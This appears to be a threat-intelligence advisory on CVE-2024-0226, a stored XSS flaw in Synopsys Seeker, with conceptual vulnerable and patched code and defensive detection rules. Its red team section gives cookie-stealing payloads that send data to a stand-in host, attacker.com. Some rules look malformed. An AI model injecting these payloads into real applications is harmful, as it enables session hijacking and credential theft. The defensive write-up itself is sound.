CVE-2024-0226

Executive Summary

CVE-2024-0226 is a stored cross-site scripting (XSS) vulnerability affecting Synopsys Seeker, an Interactive Application Security Testing (IAST) tool. Versions prior to 2023.12.0 are vulnerable. An authenticated attacker with low privileges can inject a malicious payload into the application, which is then stored and executed in the context of other users' browsers when they view the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 4.8 (Medium) and no public proof-of-concept or exploit code is currently available. The vendor has released a patched version (2023.12.0) to address this issue.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs valid credentials with low-level access.
• User Interaction (UI): Required – The victim must interact with the malicious content (e.g., click a link or view a page).
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure is possible.
• Integrity (I): Low – Limited modification of data is possible.
• Availability (A): None – No impact on system availability.

Deep Dive & Mechanics

The vulnerability resides in how Synopsys Seeker handles user-supplied input within its web interface. The application fails to properly sanitize or encode data before storing it in a persistent data store (e.g., database or file system). When this stored data is later retrieved and rendered in a web page without proper output encoding, an attacker can inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker authenticates to the Seeker web interface with low-privileged credentials.
2. The attacker identifies an input field (e.g., project name, description, or custom tags) that is stored and later displayed to other users.
3. The attacker submits a payload containing malicious JavaScript, such as <script>alert(document.cookie)</script>.
4. The payload is stored in the backend.
5. When another user (including administrators) views the page containing the stored data, the script executes in their browser.
6. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the interface.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable: Directly stores user input without sanitization
def save_project(request):
    project_name = request.POST.get('project_name')
    # No sanitization or encoding
    db.execute("INSERT INTO projects (name) VALUES (?)", (project_name,))
    return redirect('/projects')

<!-- Vulnerable: Renders stored data without output encoding -->
<div class="project-name">
    {{ project.name }}  <!-- No escaping -->
</div>

Patched Code (Conceptual):

# Patched: Sanitizes input before storage
import html

def save_project(request):
    project_name = request.POST.get('project_name')
    # Sanitize input
    safe_name = html.escape(project_name)
    db.execute("INSERT INTO projects (name) VALUES (?)", (safe_name,))
    return redirect('/projects')

<!-- Patched: Uses context-aware output encoding -->
<div class="project-name">
    {{ project.name|escape }}  <!-- Django auto-escaping -->
</div>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Synopsys Seeker instance (version < 2023.12.0)
• Valid low-privileged user credentials

Exploitation Steps:

1. Log in to the Seeker web interface.
2. Navigate to a page that allows input (e.g., creating a new project or editing a description).
3. Inject the following payload into the input field:

   <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
   

4. Submit the form.
5. Craft a phishing link or wait for an administrator to view the affected page.
6. The victim's browser executes the script, sending their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection & Prevention:

• Monitor for unusual input patterns in Seeker logs (e.g., <script>, onerror, javascript:).
• Implement Web Application Firewall (WAF) rules to block common XSS payloads.
• Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
• Regularly review user activity logs for suspicious modifications to project metadata.

Hunting Query (Splunk):

index=seeker sourcetype=seeker:audit
| search "project_name" OR "description"
| regex _raw="<script|<img.*onerror|<svg.*onload"
| table _time, user, action, details

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual Referer headers pointing to Seeker pages with injected content.

• Host IOCs:

  • Log entries showing unsanitized HTML/JavaScript in stored fields.
  • Unexpected modifications to project names, descriptions, or tags.

• File IOCs:

  • Presence of XSS payloads in Seeker database dumps or configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_0226_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Synopsys Seeker"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0226"
    strings:
        $xss1 = "<script" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $xss5 = "document.cookie" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in Synopsys Seeker
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Synopsys Seeker logs
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0226
logsource:
    product: seeker
    service: audit
detection:
    selection:
        - field: "project_name"
          value|contains: 
              - "<script"
              - "onerror="
              - "onload="
              - "javascript:"
        - field: "description"
          value|contains: 
              - "<script"
              - "onerror="
              - "onload="
              - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-0226 - Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"?cookie="; http_uri;
    pcre:"/(<script|onerror|onload|javascript:)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-0226;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Synopsys Seeker to version 2023.12.0 or later.
2. If immediate upgrade is not possible, restrict access to the Seeker web interface to trusted IPs only.
3. Review and sanitize all existing stored data for potential XSS payloads.

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Deploy a Web Application Firewall (WAF) with XSS protection rules.
• Conduct regular security assessments and penetration testing.
• Enable Content Security Policy (CSP) headers to mitigate impact of XSS.

Workaround:

• Disable the vulnerable input fields (e.g., project descriptions) via configuration if possible.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert